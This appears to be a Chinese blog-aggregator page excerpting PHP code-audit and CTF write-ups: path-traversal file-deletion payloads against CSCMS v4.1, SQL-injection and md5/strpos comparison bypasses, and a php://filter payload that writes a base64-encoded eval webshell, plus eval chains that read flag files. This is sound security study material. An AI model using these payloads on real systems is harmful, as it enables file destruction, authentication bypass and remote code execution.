首页 文章 精选 留言 我的

精选列表

搜索[代码审计],共10049篇文章
优秀的个人博客,低调大师

代码审计】Tmall(迷你天猫商城)代码审计

迷你天猫商城:一个适用于学生党的毕业设计参考项目,基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

优秀的个人博客,低调大师

代码审计】任意文件删除漏洞实例

任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件。 环境搭建: CSCMS:http://www.chshcms.com/ 网站源码版本:Cscms_v4.1正式版(发布日期:2017-06-05) 程序源码下载:https://github.com/chshcms/cscms 漏洞实例一: 漏洞文件位置:\cscms\plugins\sys\admin\Basedb.php 第160-177行: public function del(){ $dir = $this->input->get_post('id',true); if(empty($dir)){ getjson(L('plub_11')); } $dirs = array(); if(!is_array($dir)){ $dirs[] = $dir; }else{ $dirs = $dir; } foreach($dirs as $dir) { deldir(FCPATH.'attachment/backup/'.$dir); } $info['msg'] = L('plub_12'); $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999); getjson($info,0); } 漏洞利用: 1、 根目录下新建test目录作为测试: 2、 构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\\..\\test 漏洞实例二: 漏洞文件位置:/plugins/sys/admin/Skin.php 第418--440行: public function del(){ $ac = $this->input->get('ac',true); $op = $this->input->get('op',true); $dir = $this->input->get('dirs',true); $file = $this->input->get('file'); if($ac!='mobile') $ac='pc'; if($op!='home' && $op!='user') $op='skins'; if(empty($dir)) getjson(L('plub_27')); $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file; if (!is_dir($skin_dir)) { //文件 $res=unlink($skin_dir); }else{ //目录 $res=deldir($skin_dir); } if($res){ $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999); $info['msg'] = L('plub_46'); $info['turn'] = 1; getjson($info,0); }else{ getjson(L('plub_28')); } 漏洞利用: 网站根目录下新建1.txt文件作为测试,构造URL成功删除文件 Payload:http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt 漏洞实例三: 漏洞文件位置:/plugins/sys/admin/Plugins.php 第285-299行: public function del(){ $dir = $this->input->get_post('dir',true); if($dir==''){ getjson(L('plub_del_0'),1); } deldir(FCPATH.'plugins'.FGF.$dir.FGF); //删除配置目录 deldir(CSCMS.$dir.FGF); //删除模板目录 deldir(FCPATH.'tpl/admin/'.$dir.FGF); $info['func'] = __FUNCTION__; $info['msg'] = L('plub_del_1'); getjson($info,0); } 漏洞利用:

优秀的个人博客,低调大师

php代码审计分段学习(php_bug)[2]

参考:https://github.com/bowu678/php_bugs 11.sql闭合绕过 $sql = "select user from php where (user='$user') and (pw='$pass')";嗯好吧这个不就是sqli-labs的Less-3么,放下writeup好了http://localhost/php_bug/11.php/?user=admin')# 12.X-Forwarded-For绕过指定IP地址 if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********";},直接bp抓包,在http头里面加上X-Forwarded-For:1.1.1.1就行了,X-Forwarded-For代表客户端,里面存放的是HTTP端请求的真实ip。 13.md5加密相等绕过 $a != 'QNKCDZO' && $md51 == $md52,两个字符串不相等但是md5后的值相等,记下writeup。 var_dump(md5('240610708') == md5('QNKCDZO'));//ture var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//ture var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//ture var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//ture var_dump('0010e2' == '1e3');//ture var_dump('0x1234Ab' == '1193131');//ture var_dump('0xABCdef' == ' 0xABCdef');//ture ==对比的时候会进行数据转换,0eXXXXXXXXX就成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行,嗯还是用===好一些,尽量不要用==。 14.intval函数四舍五入 emmmm,这个函数。。。先是查询的时候intval($_GET['id'])为1024,但是$_GET['id']又不能为1024,直接1024.325加个小数点就行了。。intval会自动将小数点后面的数值舍掉 15 strpos数组绕过NULL与ereg正则%00截断 @ereg ("^[1-9]+$", $_GET['nctf'] strpos ($_GET['nctf'], '#biubiubiu') ①.这个是要求输入的内容必须为纯数字,但是还有出现#biubiubiu的内容,eregde%00截断可以实现,但是题目上给的#需要url编码一下,要不实现不了。http://localhost/php_bug/15.php?nctf=12414%00%23biubiubiu ②.strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,符合要求. 所以输入nctf[]= ,ereg()在出错时返回的也是null,null!==falsehttp://localhost/php_bug/15.php?nctf[]= 16.SQL注入or绕过 $query='SELECT * FROM interest WHERE uname=''.$username.'' AND pwd=''.$password.'';'; $query='SELECT * FROM users WHERE name=''admin'' AND pass=''or 1 #'';'; ?username=admin'' AND pass=''or 1 #&password= 有点传说中的花式闭合的感觉。。 17.密码md5比较绕过 总感觉眼熟,emmm和第九个是一样的。。。 ?user=' union select '202cb962ac59075b964b07152d234b70' #&pass=123 18.md5()函数===使用数组绕过 $_GET['username'] == $_GET['password'] md5($_GET['username']) === md5($_GET['password'])http://localhost/php_bug/18.php?username[]=1&password[]=2,前面已经在sha1()函数比较绕过这个里面详细说过了,,基本同样道理,这里就不多做描述了。 19 ereg()函数strpos() 函数用数组返回NULL绕过 ereg ("^[a-zA-Z0-9]+$", $_GET['password']) strpos ($_GET['password'], '--') emm这个和15是一样的只是ereg()的这个函数现在要求的是只能出现字母和数字,依旧是两种方法http://localhost/php_bug/19.php?password[]=http://localhost/php_bug/19.php?password=12a%00-- 十六进制与数字比较 ($digit >= $one) && ($digit <= $nine) $number == $temp 这个题的要求是输入的数字不能是1~9的数字,但是又要与3735929054相等,转化为16进制http://localhost/php_bug/20.php?password=0xdeadc0de 54975581388转换成16进制为ccccccccc

优秀的个人博客,低调大师

p神 代码审计知识星球二周年wp[2]

参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 递归匹配:http://www.laruence.com/2011/09/30/2179.html easy - phpmagic 源码 <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous"> <title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?></pre> </div> </div> </div> </body> </html> 解题思路 能控制文件名和文件内容,但是文件内容被htmlspecialchars函数过滤了一次,尖括号没了。PHP的一个特点:只要是传filename的地方,基本都可以传协议流。而file_put_contents的第一个参数就是传filename的地方一个简单的栗子 利用php伪协议流解码base64写入webshell 其他问题 后缀名将能解析php文件的全禁止了 $log_name之前会加上$_SERVER['SERVER_NAME'],不完全可控文件名 文件内容也不完全可控 解决方法 一个可以在windows和linux上都行得通的方法: filename=1.php/.&content=<?php phpinfo();?> 在操作系统中,都是禁止使用/作为文件名的,但是后面加一个.就可以成功的写入1.php了。pathinfo就取不到后缀名,可以正常写入.php之中。且无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件 $_SERVER['SERVER_NAME']取的是HTTP headers中的Host的值。md5($_SERVER['REMOTE_ADDR'])是自己本机外网ip的md5值 最终payload domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/. 在p神的环境上可以直接成功。但是在本机上测试的时候,写入的文件一直是乱码,后来经大佬提醒才知道还需填充字符串。(左边是p神的环境,右边是自己的) 在自己本机上的payload domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/. easy - phplimit 源码 <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } 解题思路 \W:任意个非单词字符。匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]` ?: 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \? \((?R)?\):(?R)*表示, 正则式本身, 可以认为是:`(正则本身(正则本身).....)`。 那么此题最终的正则匹配就是可以递归执行函数,不可以带参数。php函数 getcwd ():取得当前工作目录 dirname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 chdir():改变当前的目录。 scandir(directory):返回一个 array,包含有 `directory` 中的文件和目录 readdir ():返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回 array_reverse() :接受数组 array 作为输入并返回一个单元为相反顺序的新数组 next():它返回的是下一个数组单元的值并将数组指针向前移动了一位。 get_defined_vars ():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 reset():将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。 不带参数的一些函数组合 ?code=print(phpinfo()); ?code=print(readdir(opendir(getcwd()))); #列目录 ?code=print(readfile(readdir(opendir(getcwd())))); #读文件 ?code=print(dirname(dirname(getcwd()))); #print出/var ?code=eval(implode(getallheaders())); #apache模块的函数 ?code=eval(implode(get_defined_vars())); 最终payload ?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #查看当前文件夹 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 或者 ?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册